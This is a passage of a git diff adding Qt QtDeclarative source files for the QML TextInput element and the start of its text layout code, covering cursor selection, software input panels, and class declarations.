+ const QString text = d->control->text();
+ QTextBoundaryFinder finder(QTextBoundaryFinder::Word, text);
+ finder.setPosition(anchor);
+
+ const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons();
+ if (anchor > 0 && (!(reasons & QTextBoundaryFinder::EndWord)
+ || ((reasons & QTextBoundaryFinder::StartWord) && anchor < cursor))) {
+ finder.toNextBoundary();
+ }
+ anchor = finder.position() != -1 ? finder.position() : text.length();
+
+ finder.setPosition(pos);
+ if (pos < text.length() && !finder.boundaryReasons())
+ finder.toPreviousBoundary();
+ const int cursor = finder.position() != -1 ? finder.position() : 0;
+
+ d->control->setSelection(anchor, cursor - anchor);
+ }
+ }
+}
+
+/*!
+ \qmlmethod void TextInput::openSoftwareInputPanel()
+
+ Opens software input panels like virtual keyboards for typing, useful for
+ customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextInput. On other platforms
+ the panels are automatically opened when TextInput element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ . You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \qml
+ import QtQuick 1.0
+ TextInput {
+ id: textInput
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textInput.activeFocus) {
+ textInput.forceActiveFocus()
+ textInput.openSoftwareInputPanel();
+ } else {
+ textInput.focus = false;
+ }
+ }
+ onPressAndHold: textInput.closeSoftwareInputPanel();
+ }
+ }
+ \endqml
+*/
+void QDeclarativeTextInput::openSoftwareInputPanel()
+{
+ QEvent event(QEvent::RequestSoftwareInputPanel);
+ if (qApp) {
+ if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
+ if (view->scene() && view->scene() == scene()) {
+ QApplication::sendEvent(view, &event);
+ }
+ }
+ }
+}
+
+/*!
+ \qmlmethod void TextInput::closeSoftwareInputPanel()
+
+ Closes a software input panel like a virtual keyboard shown on the screen, useful
+ for customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextInput. On other platforms
+ the panels are automatically opened when TextInput element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ . You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \qml
+ import QtQuick 1.0
+ TextInput {
+ id: textInput
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textInput.activeFocus) {
+ textInput.forceActiveFocus();
+ textInput.openSoftwareInputPanel();
+ } else {
+ textInput.focus = false;
+ }
+ }
+ onPressAndHold: textInput.closeSoftwareInputPanel();
+ }
+ }
+ \endqml
+*/
+void QDeclarativeTextInput::closeSoftwareInputPanel()
+{
+ QEvent event(QEvent::CloseSoftwareInputPanel);
+ if (qApp) {
+ QEvent event(QEvent::CloseSoftwareInputPanel);
+ if (QGraphicsView * view = qobject_cast<QGraphicsView*>(qApp->focusWidget())) {
+ if (view->scene() && view->scene() == scene()) {
+ QApplication::sendEvent(view, &event);
+ }
+ }
+ }
+}
+
+void QDeclarativeTextInput::focusInEvent(QFocusEvent *event)
+{
+ Q_D(const QDeclarativeTextInput);
+ if (d->showInputPanelOnFocus) {
+ if (d->focusOnPress && !isReadOnly()) {
+ openSoftwareInputPanel();
+ }
+ }
+ QDeclarativePaintedItem::focusInEvent(event);
+}
+
+/*!
+ \qmlproperty bool TextInput::inputMethodComposing
+
+ \since QtQuick 1.1
+
+ This property holds whether the TextInput has partial text input from an
+ input method.
+
+ While it is composing an input method may rely on mouse or key events from
+ the TextInput to edit or commit the partial text. This property can be
+ used to determine when to disable events handlers that may interfere with
+ the correct operation of an input method.
+*/
+bool QDeclarativeTextInput::isInputMethodComposing() const
+{
+ Q_D(const QDeclarativeTextInput);
+ return d->control->preeditAreaText().length() > 0;
+}
+
+void QDeclarativeTextInputPrivate::init()
+{
+ Q_Q(QDeclarativeTextInput);
+ control->setParent(q);
+ control->setCursorWidth(1);
+ control->setPasswordCharacter(QLatin1Char('*'));
+ q->setSmooth(smooth);
+ q->setAcceptedMouseButtons(Qt::LeftButton);
+ q->setFlag(QGraphicsItem::ItemHasNoContents, false);
+ q->setFlag(QGraphicsItem::ItemAcceptsInputMethod);
+ q->connect(control, SIGNAL(cursorPositionChanged(int,int)),
+ q, SLOT(cursorPosChanged()));
+ q->connect(control, SIGNAL(selectionChanged()),
+ q, SLOT(selectionChanged()));
+ q->connect(control, SIGNAL(textChanged(QString)),
+ q, SLOT(q_textChanged()));
+ q->connect(control, SIGNAL(accepted()),
+ q, SIGNAL(accepted()));
+ q->connect(control, SIGNAL(updateNeeded(QRect)),
+ q, SLOT(updateRect(QRect)));
+#ifndef QT_NO_CLIPBOARD
+ q->connect(q, SIGNAL(readOnlyChanged(bool)),
+ q, SLOT(q_canPasteChanged()));
+ q->connect(QApplication::clipboard(), SIGNAL(dataChanged()),
+ q, SLOT(q_canPasteChanged()));
+ canPaste = !control->isReadOnly() && QApplication::clipboard()->text().length() != 0;
+#endif // QT_NO_CLIPBOARD
+ q->connect(control, SIGNAL(updateMicroFocus()),
+ q, SLOT(updateCursorRectangle()));
+ q->connect(control, SIGNAL(displayTextChanged(QString)),
+ q, SLOT(updateRect()));
+ q->updateSize();
+ oldValidity = control->hasAcceptableInput();
+ lastSelectionStart = 0;
+ lastSelectionEnd = 0;
+ QPalette p = control->palette();
+ selectedTextColor = p.color(QPalette::HighlightedText);
+ selectionColor = p.color(QPalette::Highlight);
+ determineHorizontalAlignment();
+}
+
+void QDeclarativeTextInput::cursorPosChanged()
+{
+ Q_D(QDeclarativeTextInput);
+ updateCursorRectangle();
+ emit cursorPositionChanged();
+ d->control->resetCursorBlinkTimer();
+
+ if(!d->control->hasSelectedText()){
+ if(d->lastSelectionStart != d->control->cursor()){
+ d->lastSelectionStart = d->control->cursor();
+ emit selectionStartChanged();
+ }
+ if(d->lastSelectionEnd != d->control->cursor()){
+ d->lastSelectionEnd = d->control->cursor();
+ emit selectionEndChanged();
+ }
+ }
+}
+
+void QDeclarativeTextInput::updateCursorRectangle()
+{
+ Q_D(QDeclarativeTextInput);
+ d->determineHorizontalAlignment();
+ d->updateHorizontalScroll();
+ updateRect();//TODO: Only update rect between pos's
+ updateMicroFocus();
+ emit cursorRectangleChanged();
+ if (d->cursorItem)
+ d->cursorItem->setX(d->control->cursorToX() - d->hscroll);
+}
+
+void QDeclarativeTextInput::selectionChanged()
+{
+ Q_D(QDeclarativeTextInput);
+ updateRect();//TODO: Only update rect in selection
+ emit selectedTextChanged();
+
+ if(d->lastSelectionStart != d->control->selectionStart()){
+ d->lastSelectionStart = d->control->selectionStart();
+ if(d->lastSelectionStart == -1)
+ d->lastSelectionStart = d->control->cursor();
+ emit selectionStartChanged();
+ }
+ if(d->lastSelectionEnd != d->control->selectionEnd()){
+ d->lastSelectionEnd = d->control->selectionEnd();
+ if(d->lastSelectionEnd == -1)
+ d->lastSelectionEnd = d->control->cursor();
+ emit selectionEndChanged();
+ }
+}
+
+void QDeclarativeTextInput::q_textChanged()
+{
+ Q_D(QDeclarativeTextInput);
+ emit textChanged();
+ emit displayTextChanged();
+ updateSize();
+ d->determineHorizontalAlignment();
+ d->updateHorizontalScroll();
+ updateMicroFocus();
+ if(hasAcceptableInput() != d->oldValidity){
+ d->oldValidity = hasAcceptableInput();
+ emit acceptableInputChanged();
+ }
+}
+
+void QDeclarativeTextInput::updateRect(const QRect &r)
+{
+ Q_D(QDeclarativeTextInput);
+ if(r == QRect())
+ clearCache();
+ else
+ dirtyCache(QRect(r.x() - d->hscroll, r.y(), r.width(), r.height()));
+ update();
+}
+
+QRectF QDeclarativeTextInput::boundingRect() const
+{
+ Q_D(const QDeclarativeTextInput);
+ QRectF r = QDeclarativePaintedItem::boundingRect();
+
+ int cursorWidth = d->cursorItem ? d->cursorItem->width() : d->control->cursorWidth();
+
+ // Could include font max left/right bearings to either side of rectangle.
+
+ r.setRight(r.right() + cursorWidth);
+ return r;
+}
+
+void QDeclarativeTextInput::updateSize(bool needsRedraw)
+{
+ Q_D(QDeclarativeTextInput);
+ int w = width();
+ int h = height();
+ setImplicitHeight(d->control->height()-1); // -1 to counter QLineControl's +1 which is not consistent with Text.
+ setImplicitWidth(d->calculateTextWidth());
+ setContentsSize(QSize(width(), height()));//Repaints if changed
+ if(w==width() && h==height() && needsRedraw){
+ clearCache();
+ update();
+ }
+}
+
+void QDeclarativeTextInput::q_canPasteChanged()
+{
+ Q_D(QDeclarativeTextInput);
+ bool old = d->canPaste;
+#ifndef QT_NO_CLIPBOARD
+ d->canPaste = !d->control->isReadOnly() && QApplication::clipboard()->text().length() != 0;
+#endif
+ if(d->canPaste != old)
+ emit canPasteChanged();
+}
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_LINEEDIT
+
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
new file mode 100644
index 00000000..2c7eb3c9
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h
@@ -0,0 +1,304 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXTINPUT_H
+#define QDECLARATIVETEXTINPUT_H
+
+#include "private/qdeclarativetext_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
+
+#include <QGraphicsSceneMouseEvent>
+#include <QIntValidator>
+
+#ifndef QT_NO_LINEEDIT
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeTextInputPrivate;
+class QValidator;
+class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativeImplicitSizePaintedItem
+{
+ Q_OBJECT
+ Q_ENUMS(HAlignment)
+ Q_ENUMS(EchoMode)
+ Q_ENUMS(SelectionMode)
+
+ Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged)
+ Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged)
+ Q_PROPERTY(QColor selectionColor READ selectionColor WRITE setSelectionColor NOTIFY selectionColorChanged)
+ Q_PROPERTY(QColor selectedTextColor READ selectedTextColor WRITE setSelectedTextColor NOTIFY selectedTextColorChanged)
+ Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
+ Q_PROPERTY(HAlignment horizontalAlignment READ hAlign WRITE setHAlign RESET resetHAlign NOTIFY horizontalAlignmentChanged)
+ Q_PROPERTY(bool readOnly READ isReadOnly WRITE setReadOnly NOTIFY readOnlyChanged)
+ Q_PROPERTY(bool cursorVisible READ isCursorVisible WRITE setCursorVisible NOTIFY cursorVisibleChanged)
+ Q_PROPERTY(int cursorPosition READ cursorPosition WRITE setCursorPosition NOTIFY cursorPositionChanged)
+ Q_PROPERTY(QRect cursorRectangle READ cursorRectangle NOTIFY cursorRectangleChanged)
+ Q_PROPERTY(QDeclarativeComponent *cursorDelegate READ cursorDelegate WRITE setCursorDelegate NOTIFY cursorDelegateChanged)
+ Q_PROPERTY(int selectionStart READ selectionStart NOTIFY selectionStartChanged)
+ Q_PROPERTY(int selectionEnd READ selectionEnd NOTIFY selectionEndChanged)
+ Q_PROPERTY(QString selectedText READ selectedText NOTIFY selectedTextChanged)
+
+ Q_PROPERTY(int maximumLength READ maxLength WRITE setMaxLength NOTIFY maximumLengthChanged)
+#ifndef QT_NO_VALIDATOR
+ Q_PROPERTY(QValidator* validator READ validator WRITE setValidator NOTIFY validatorChanged)
+#endif
+ Q_PROPERTY(QString inputMask READ inputMask WRITE setInputMask NOTIFY inputMaskChanged)
+ Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ imHints WRITE setIMHints)
+
+ Q_PROPERTY(bool acceptableInput READ hasAcceptableInput NOTIFY acceptableInputChanged)
+ Q_PROPERTY(EchoMode echoMode READ echoMode WRITE setEchoMode NOTIFY echoModeChanged)
+ Q_PROPERTY(bool activeFocusOnPress READ focusOnPress WRITE setFocusOnPress NOTIFY activeFocusOnPressChanged)
+ Q_PROPERTY(QString passwordCharacter READ passwordCharacter WRITE setPasswordCharacter NOTIFY passwordCharacterChanged)
+ Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged)
+ Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged)
+ Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged)
+ Q_PROPERTY(SelectionMode mouseSelectionMode READ mouseSelectionMode WRITE setMouseSelectionMode NOTIFY mouseSelectionModeChanged REVISION 1)
+ Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1)
+ Q_PROPERTY(bool inputMethodComposing READ isInputMethodComposing NOTIFY inputMethodComposingChanged REVISION 1)
+
+public:
+ QDeclarativeTextInput(QDeclarativeItem* parent=0);
+ ~QDeclarativeTextInput();
+
+ enum EchoMode {//To match QLineEdit::EchoMode
+ Normal,
+ NoEcho,
+ Password,
+ PasswordEchoOnEdit
+ };
+
+ enum HAlignment {
+ AlignLeft = Qt::AlignLeft,
+ AlignRight = Qt::AlignRight,
+ AlignHCenter = Qt::AlignHCenter
+ };
+
+ enum SelectionMode {
+ SelectCharacters,
+ SelectWords
+ };
+
+ enum CursorPosition {
+ CursorBetweenCharacters,
+ CursorOnCharacter
+ };
+
+ //Auxilliary functions needed to control the TextInput from QML
+ Q_INVOKABLE int positionAt(int x) const;
+ Q_INVOKABLE Q_REVISION(1) int positionAt(int x, CursorPosition position) const;
+ Q_INVOKABLE QRectF positionToRectangle(int pos) const;
+ Q_INVOKABLE void moveCursorSelection(int pos);
+ Q_INVOKABLE Q_REVISION(1) void moveCursorSelection(int pos, SelectionMode mode);
+
+ Q_INVOKABLE void openSoftwareInputPanel();
+ Q_INVOKABLE void closeSoftwareInputPanel();
+
+ QString text() const;
+ void setText(const QString &);
+
+ QFont font() const;
+ void setFont(const QFont &font);
+
+ QColor color() const;
+ void setColor(const QColor &c);
+
+ QColor selectionColor() const;
+ void setSelectionColor(const QColor &c);
+
+ QColor selectedTextColor() const;
+ void setSelectedTextColor(const QColor &c);
+
+ HAlignment hAlign() const;
+ void setHAlign(HAlignment align);
+ void resetHAlign();
+ HAlignment effectiveHAlign() const;
+
+ bool isReadOnly() const;
+ void setReadOnly(bool);
+
+ bool isCursorVisible() const;
+ void setCursorVisible(bool on);
+
+ int cursorPosition() const;
+ void setCursorPosition(int cp);
+
+ QRect cursorRectangle() const;
+
+ int selectionStart() const;
+ int selectionEnd() const;
+
+ QString selectedText() const;
+
+ int maxLength() const;
+ void setMaxLength(int ml);
+
+#ifndef QT_NO_VALIDATOR
+ QValidator * validator() const;
+ void setValidator(QValidator* v);
+#endif
+ QString inputMask() const;
+ void setInputMask(const QString &im);
+
+ EchoMode echoMode() const;
+ void setEchoMode(EchoMode echo);
+
+ QString passwordCharacter() const;
+ void setPasswordCharacter(const QString &str);
+
+ QString displayText() const;
+
+ QDeclarativeComponent* cursorDelegate() const;
+ void setCursorDelegate(QDeclarativeComponent*);
+
+ bool focusOnPress() const;
+ void setFocusOnPress(bool);
+
+ bool autoScroll() const;
+ void setAutoScroll(bool);
+
+ bool selectByMouse() const;
+ void setSelectByMouse(bool);
+
+ SelectionMode mouseSelectionMode() const;
+ void setMouseSelectionMode(SelectionMode mode);
+
+ bool hasAcceptableInput() const;
+
+ void drawContents(QPainter *p,const QRect &r);
+ QVariant inputMethodQuery(Qt::InputMethodQuery property) const;
+
+ QRectF boundingRect() const;
+ bool canPaste() const;
+
+ bool isInputMethodComposing() const;
+
+ Qt::InputMethodHints imHints() const;
+ void setIMHints(Qt::InputMethodHints hints);
+
+Q_SIGNALS:
+ void textChanged();
+ void cursorPositionChanged();
+ void cursorRectangleChanged();
+ void selectionStartChanged();
+ void selectionEndChanged();
+ void selectedTextChanged();
+ void accepted();
+ void acceptableInputChanged();
+ void colorChanged(const QColor &color);
+ void selectionColorChanged(const QColor &color);
+ void selectedTextColorChanged(const QColor &color);
+ void fontChanged(const QFont &font);
+ void horizontalAlignmentChanged(HAlignment alignment);
+ void readOnlyChanged(bool isReadOnly);
+ void cursorVisibleChanged(bool isCursorVisible);
+ void cursorDelegateChanged();
+ void maximumLengthChanged(int maximumLength);
+ void validatorChanged();
+ void inputMaskChanged(const QString &inputMask);
+ void echoModeChanged(EchoMode echoMode);
+ void passwordCharacterChanged();
+ void displayTextChanged();
+ void activeFocusOnPressChanged(bool activeFocusOnPress);
+ void autoScrollChanged(bool autoScroll);
+ void selectByMouseChanged(bool selectByMouse);
+ Q_REVISION(1) void mouseSelectionModeChanged(SelectionMode mode);
+ Q_REVISION(1) void canPasteChanged();
+ Q_REVISION(1) void inputMethodComposingChanged();
+
+protected:
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+
+ void mousePressEvent(QGraphicsSceneMouseEvent *event);
+ void mouseMoveEvent(QGraphicsSceneMouseEvent *event);
+ void mouseReleaseEvent(QGraphicsSceneMouseEvent *event);
+ void mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event);
+ bool sceneEvent(QEvent *event);
+ void keyPressEvent(QKeyEvent* ev);
+ void inputMethodEvent(QInputMethodEvent *);
+ bool event(QEvent *e);
+ void focusInEvent(QFocusEvent *event);
+
+public Q_SLOTS:
+ void selectAll();
+ void selectWord();
+ void select(int start, int end);
+ Q_REVISION(1) void deselect();
+ Q_REVISION(1) bool isRightToLeft(int start, int end);
+#ifndef QT_NO_CLIPBOARD
+ void cut();
+ void copy();
+ void paste();
+#endif
+
+private Q_SLOTS:
+ void updateSize(bool needsRedraw = true);
+ void q_textChanged();
+ void selectionChanged();
+ void createCursor();
+ void cursorPosChanged();
+ void updateCursorRectangle();
+ void updateRect(const QRect &r = QRect());
+ void q_canPasteChanged();
+
+private:
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeTextInput)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeTextInput)
+#ifndef QT_NO_VALIDATOR
+QML_DECLARE_TYPE(QValidator)
+QML_DECLARE_TYPE(QIntValidator)
+QML_DECLARE_TYPE(QDoubleValidator)
+QML_DECLARE_TYPE(QRegExpValidator)
+#endif
+
+QT_END_HEADER
+
+#endif // QT_NO_LINEEDIT
+
+#endif // QDECLARATIVETEXTINPUT_H
diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
new file mode 100644
index 00000000..f968460d
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextinput_p_p.h
@@ -0,0 +1,157 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVETEXTINPUT_P_H
+#define QDECLARATIVETEXTINPUT_P_H
+
+#include "private/qdeclarativetextinput_p.h"
+
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
+
+#include <qdeclarative.h>
+
+#include <QPointer>
+
+#include <private/qlinecontrol_p.h>
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+
+#ifndef QT_NO_LINEEDIT
+
+QT_BEGIN_NAMESPACE
+
+class Q_AUTOTEST_EXPORT QDeclarativeTextInputPrivate : public QDeclarativeImplicitSizePaintedItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeTextInput)
+public:
+ QDeclarativeTextInputPrivate() : control(new QLineControl),
+ color((QRgb)0), style(QDeclarativeText::Normal),
+ styleColor((QRgb)0), hAlign(QDeclarativeTextInput::AlignLeft),
+ mouseSelectionMode(QDeclarativeTextInput::SelectCharacters), inputMethodHints(Qt::ImhNone),
+ hscroll(0), oldScroll(0), oldValidity(false), focused(false), focusOnPress(true),
+ showInputPanelOnFocus(true), clickCausedFocus(false), cursorVisible(false),
+ autoScroll(true), selectByMouse(false), canPaste(false), hAlignImplicit(true),
+ selectPressed(false)
+ {
+#ifdef Q_OS_SYMBIAN
+ if (QSysInfo::symbianVersion() >= QSysInfo::SV_SF_1) {
+ showInputPanelOnFocus = false;
+ }
+#endif
+
+ }
+
+ ~QDeclarativeTextInputPrivate()
+ {
+ }
+
+ int xToPos(int x, QTextLine::CursorPosition betweenOrOn = QTextLine::CursorBetweenCharacters) const
+ {
+ Q_Q(const QDeclarativeTextInput);
+ QRect cr = q->boundingRect().toRect();
+ x-= cr.x() - hscroll;
+ return control->xToPos(x, betweenOrOn);
+ }
+
+ void init();
+ void startCreatingCursor();
+ void focusChanged(bool hasFocus);
+ void updateHorizontalScroll();
+ bool determineHorizontalAlignment();
+ bool setHAlign(QDeclarativeTextInput::HAlignment, bool forceAlign = false);
+ void mirrorChange();
+ int calculateTextWidth();
+ bool sendMouseEventToInputContext(QGraphicsSceneMouseEvent *event, QEvent::Type eventType);
+ void updateInputMethodHints();
+
+ QLineControl* control;
+
+ QFont font;
+ QFont sourceFont;
+ QColor color;
+ QColor selectionColor;
+ QColor selectedTextColor;
+ QDeclarativeText::TextStyle style;
+ QColor styleColor;
+ QDeclarativeTextInput::HAlignment hAlign;
+ QDeclarativeTextInput::SelectionMode mouseSelectionMode;
+ Qt::InputMethodHints inputMethodHints;
+ QPointer<QDeclarativeComponent> cursorComponent;
+ QPointer<QDeclarativeItem> cursorItem;
+ QPointF pressPos;
+
+ int lastSelectionStart;
+ int lastSelectionEnd;
+ int oldHeight;
+ int oldWidth;
+ int hscroll;
+ int oldScroll;
+ bool oldValidity:1;
+ bool focused:1;
+ bool focusOnPress:1;
+ bool showInputPanelOnFocus:1;
+ bool clickCausedFocus:1;
+ bool cursorVisible:1;
+ bool autoScroll:1;
+ bool selectByMouse:1;
+ bool canPaste:1;
+ bool hAlignImplicit:1;
+ bool selectPressed:1;
+
+ static inline QDeclarativeTextInputPrivate *get(QDeclarativeTextInput *t) {
+ return t->d_func();
+ }
+};
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_LINEEDIT
+
+#endif
+
diff --git a/src/declarative/graphicsitems/qdeclarativetextlayout.cpp b/src/declarative/graphicsitems/qdeclarativetextlayout.cpp
new file mode 100644
index 00000000..6b1a0144
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativetextlayout.cpp
@@ -0,0 +1,391 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativetextlayout_p.h"
+#include <private/qstatictext_p.h>
+#include <private/qfontengine_p.h>
+#include <private/qtextengine_p.h>
+#include <private/qpainter_p.h>
+#include <private/qpaintengineex_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeTextLayoutPrivate
+{
+public:
+ QDeclarativeTextLayoutPrivate()
+ : cached(false) {}
+
+ QPointF position;
+
+ bool cached;
+ QVector<QStaticTextItem> items;
+ QVector<QFixedPoint> positions;
+ QVector<glyph_t> glyphs;
+ QVector<QChar> chars;
+};
+
+namespace {
+class DrawTextItemRecorder: public QPaintEngine
+{
+ public:
+ DrawTextItemRecorder(bool untransformedCoordinates, bool useBackendOptimizations)
+ : m_inertText(0), m_dirtyPen(false), m_useBackendOptimizations(useBackendOptimizations),
+ m_untransformedCoordinates(untransformedCoordinates), m_currentColor(Qt::black)
+ {
+ }
+
+ virtual void updateState(const QPaintEngineState &newState)
+ {
+ if (newState.state() & QPaintEngine::DirtyPen
+ && newState.pen().color() != m_currentColor) {
+ m_dirtyPen = true;
+ m_currentColor = newState.pen().color();
+ }
+ }
+
+ virtual void drawTextItem(const QPointF &position, const QTextItem &textItem)
+ {
+ int glyphOffset = m_inertText->glyphs.size(); // Store offset into glyph pool
+ int positionOffset = m_inertText->glyphs.size(); // Offset into position pool
+ int charOffset = m_inertText->chars.size();
+
+ const QTextItemInt &ti = static_cast<const QTextItemInt &>(textItem);
+
+ bool needFreshCurrentItem = true;
+ if (!m_inertText->items.isEmpty()) {
+ QStaticTextItem &last = m_inertText->items[m_inertText->items.count() - 1];
+
+ if (last.fontEngine() == ti.fontEngine && last.font == ti.font() &&
+ (!m_dirtyPen || last.color == state->pen().color())) {
+ needFreshCurrentItem = false;
+
+ last.numChars += ti.num_chars;
+
+ }
+ }
+
+ if (needFreshCurrentItem) {
+ QStaticTextItem currentItem;
+
+ currentItem.setFontEngine(ti.fontEngine);
+ currentItem.font = ti.font();
+ currentItem.charOffset = charOffset;
+ currentItem.numChars = ti.num_chars;
+ currentItem.numGlyphs = 0;
+ currentItem.glyphOffset = glyphOffset;
+ currentItem.positionOffset = positionOffset;
+ currentItem.useBackendOptimizations = m_useBackendOptimizations;
+ if (m_dirtyPen)
+ currentItem.color = m_currentColor;
+
+ m_inertText->items.append(currentItem);
+ }
+
+ QStaticTextItem &currentItem = m_inertText->items.last();
+
+ QTransform matrix = m_untransformedCoordinates ? QTransform() : state->transform();
+ matrix.translate(position.x(), position.y());
+
+ QVarLengthArray<glyph_t> glyphs;
+ QVarLengthArray<QFixedPoint> positions;
+ ti.fontEngine->getGlyphPositions(ti.glyphs, matrix, ti.flags, glyphs, positions);
+
+ int size = glyphs.size();
+ Q_ASSERT(size == positions.size());
+ currentItem.numGlyphs += size;
+
+ m_inertText->glyphs.resize(m_inertText->glyphs.size() + size);
+ m_inertText->positions.resize(m_inertText->glyphs.size());
+ m_inertText->chars.resize(m_inertText->chars.size() + ti.num_chars);
+
+ glyph_t *glyphsDestination = m_inertText->glyphs.data() + glyphOffset;
